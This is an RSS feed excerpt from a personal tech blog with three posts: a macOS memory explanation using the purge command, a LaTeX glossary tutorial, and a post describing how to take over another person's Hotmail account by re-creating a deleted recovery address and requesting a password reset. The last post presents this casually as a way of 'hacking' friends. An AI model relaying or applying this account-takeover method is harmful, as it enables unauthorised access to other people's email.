<p><strong>Free:</strong></p>
<p>This is RAM that&#8217;s not being used.</p>
<p><strong>Inactive:</strong></p>
<p>This information in memory is not actively being used, but was recently used.</p>
<p>For example, if you&#8217;ve been using Mail and then quit it, the RAM that Mail was using is marked as Inactive memory. This Inactive memory is available for use by another application, just like Free memory.  However, if you open Mail before its Inactive memory is used by a different application, Mail will open quicker because its Inactive memory is converted to Active memory, instead of loading Mail from the slower hard disk</p>
<p>&nbsp;</p>
<p><strong>Wired:</strong></p>
<p>Information in this memory can&#8217;t be moved to the hard disk, so it must stay in RAM. The amount of Wired memory depends on the applications you are using.</p>
<p><strong>Active:</strong></p>
<p>This information is currently in memory, and has been recently used.</p>
<p>&nbsp;</p>
<p>As you can see, the <strong>inactive </strong>memory is used for fast access to an application, and sometimes if happened that the memory is not released by OSX or not shared.  This can make the mac really slow and buggy. As I got the problem I searched for a solution I found that one :</p>
<p>&nbsp;</p>
<ul>
<li><span style="line-height: 18px;">If you do not have the developers tools installed, install them.</span></li>
<li><span style="line-height: 18px;">open a shell and type in the following command :</span></li>
</ul>
<div>
<pre>$/usr/bin/purge</pre>
</div>
<div><span style="line-height: 18px;">This command will purge the <strong>inactive</strong> memory and set this memory as <strong>free. </strong>This command should help you if your <strong>free</strong> memory decreased to less than a GB and that you <strong>inactive</strong> memory increased or wasn&#8217;t allowed to be used by other softwares.</span></div>
<div></div>
<div>And That&#8217;s it.</div>
<div name="googleone_share_1" style="position:relative;z-index:5;float: right; margin-left: 10px;"><g:plusone size="tall" count="1" href="http://www.noktec.be/archives/875"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://www.noktec.be/archives/875/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Glossary in LaTeX</title>
		<link>http://www.noktec.be/archives/849</link>
		<comments>http://www.noktec.be/archives/849#comments</comments>
		<pubDate>Fri, 13 Jan 2012 02:45:30 +0000</pubDate>
		<dc:creator>Noktec</dc:creator>
				<category><![CDATA[whatever]]></category>
		<category><![CDATA[Glossary]]></category>
		<category><![CDATA[LaTeX]]></category>
		<category><![CDATA[Mini Tutorial]]></category>
		<category><![CDATA[Tip]]></category>

		<guid isPermaLink="false">http://www.noktec.be/?p=849</guid>
		<description><![CDATA[As I was Finishing my MSc thesis today I wanted to create a glossary with LaTex, but it was very difficult to find a tutorial or even basic steps to create one, without having to change something, so I decided to create a small &#8220;tutorial&#8221; on how to create a glossary with LaTeX. The first [...]]]></description>
			<content:encoded><![CDATA[<p>As I was Finishing my MSc thesis today I wanted to create a glossary with LaTex, but it was very difficult to find a tutorial or even basic steps to create one, without having to change something, so I decided to create a small &#8220;tutorial&#8221; on how to create a glossary with LaTeX.</p>
<p>The first step is to include the package :</p>
<pre>\usepackage[nonumberlist]{glossaries}</pre>
<div><span style="line-height: 18px;">As you may see, I also added the option [nonumberlist]. When this option is not enabled the glossary contains a list of page numbers where the entry was used. </span></div>
<div>The second step is to use the package :</div>
<div></div>
<pre>\usepackage{acronym}</pre>
<div>
<div>This package will allow you the use of acronyms. Now that the right packages were included, you can insert the following command in the body :</div>
<div></div>
<pre>\makeglossaries</pre>
<div></div>
<div>You may  now create the acronyms and entries that you want in your glossary. These entries have to follow this layout :</div>
</div>
<pre>\newacronym{gui}{GUI}{Graphical User Interface}</pre>
<div>
<pre>\newacronym{sdk}{SDK}{Software Development Kit}</pre>
</div>
<div></div>
<div>Finally you can put the following commands where the glossary should be printed</div>
<div></div>
<pre>\glsaddall</pre>
<pre>\printglossaries</pre>
<p>The first command list all the entries in the glossary, while the second prints the glossary out. In your text you may now use it such as following :</p>
<pre>This is the \gls{gui} of my application. This \gls{gui} will display all the information[...].</pre>
<p>and this should appear :</p>
<pre>This is the Graphical User Interface (GUI). This GUI will display all the information[...].</pre>
<p>Compile your LaTeX document a first time and then open a shell an type the following command:</p>
<pre>makeindex Master_Thesis.glo -s Master_Thesis.ist -t Master_Thesis.glg -o Master_Thesis.gls</pre>
<p>Compile your document with LaTeX a second time, and your glossary should appear right there.</p>
<p>&nbsp;</p>
<p>and that&#8217;s it !</p>
<p>&nbsp;</p>
<p>Below is a basic example of a LaTeX file with glossary :</p>
<pre>\documentclass[12pt,a4paper]{report}
\usepackage[nonumberlist]{glossaries}
\usepackage{acronym}

\begin{document}

\title{}
\date{}
\maketitle

%Glossary
\makeglossaries

\newacronym{pdf}{PDF}{Portable Document Format }

%Abstract

\begin{abstract}

\end{abstract}
%Acknowledgments
\chapter*{Acknowledgements}

\tableofcontents
\listoffigures
\listoftables
\glsaddall
\printglossaries
\end{document}</pre>
<p>Have Fun with LaTeX.</p>
<div name="googleone_share_1" style="position:relative;z-index:5;float: right; margin-left: 10px;"><g:plusone size="tall" count="1" href="http://www.noktec.be/archives/849"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://www.noktec.be/archives/849/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>&#8220;Hacking&#8221; Friends Hotmail&#8217;s Accounts</title>
		<link>http://www.noktec.be/archives/841</link>
		<comments>http://www.noktec.be/archives/841#comments</comments>
		<pubDate>Fri, 02 Dec 2011 21:09:36 +0000</pubDate>
		<dc:creator>Noktec</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hotmail]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[restore]]></category>

		<guid isPermaLink="false">http://www.noktec.be/?p=841</guid>
		<description><![CDATA[There are a few existing ways of hacking an hotmail account, such as brute-force, or the secrete answer/question, but today I(and friends) found another &#8220;way&#8221; of doing it (that I never heard before) Long story short : To make it work, the hacker needs to know the &#8220;save&#8221; e-mail address, and hope, this address has [...]]]></description>
			<content:encoded><![CDATA[<p>There are a few existing ways of hacking an hotmail account, such as brute-force, or the secrete answer/question, but today I(and friends) found another &#8220;way&#8221; of doing it (that I never heard before)</p>
<p>Long story short :</p>
<p><span style="color: #ff0000;">To make it work, the hacker needs to know the &#8220;save&#8221; e-mail address, and hope, this address has been deleted.</span></p>
<p>When you forgot your password it is possible to ask hotmail to &#8220;<strong><em>Email me a reset link</em></strong>&#8220;, when clicking on this link hotmail  shows the user the e-mail address to which it is going to send the reset link, for example :</p>
<p><strong>my*****@hotmail.com</strong></p>
<p>But in a few cases, this e-mail address might have been already deleted by hotmail (if you didn&#8217;t used it anymore, or if the target didn&#8217;t used it anymore), to verify that fact, the hacker can simply  return to the following link:</p>
<p><strong>&#8220;Can&#8217;t access your account&#8221; </strong><em>(on the sign-in page)</em><strong><br />
</strong></p>
<p>From there the hacker can tick the<strong>  &#8220;I forgot my password&#8221; </strong>radio button<strong>,  </strong>following the link the hacker will find the page displayed below :<br />
<a href="http://www.noktec.be/wp-content/uploads/2011/12/Screen-Shot-2011-12-02-at-20.56.55.png"><img class="aligncenter size-full wp-image-842" title="Hotmial" src="http://www.noktec.be/wp-content/uploads/2011/12/Screen-Shot-2011-12-02-at-20.56.55.png" alt="" width="476" height="282" /></a>And here comes the trick :</p>
<p><strong>IF the address does not exist anymore, the hacker will receive the following message :</strong></p>
<p><a href="http://www.noktec.be/wp-content/uploads/2011/12/Screen-Shot-2011-12-02-at-20.58.43.png"><img class="aligncenter size-full wp-image-843" title="Screen Shot 2011-12-02 at 20.58.43" src="http://www.noktec.be/wp-content/uploads/2011/12/Screen-Shot-2011-12-02-at-20.58.43.png" alt="" width="454" height="82" /></a><strong><br />
</strong></p>
<p><strong></strong>If hotmail returns the following message the <strong>trick is to &#8220;recreate&#8221; this e-mail such as creating a new account</strong>, and <strong>then restore the password from the account you wanted to get the password back at first</strong>.</p>
<p>&nbsp;</p>
<p>And that&#8217;s it, hotmail will not verify that the previous e-mail had been deleted or not, it will simply send you the restore password link.</p>
<p>&nbsp;</p>
<p>Have fun.</p>
<div name="googleone_share_1" style="position:relative;z-index:5;float: right; margin-left: 10px;"><g:plusone size="tall" count="1" href="http://www.noktec.be/archives/841"></g:plusone></div>]]></content:encoded>
			<wfw:commentRss>http://www.noktec.be/archives/841/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

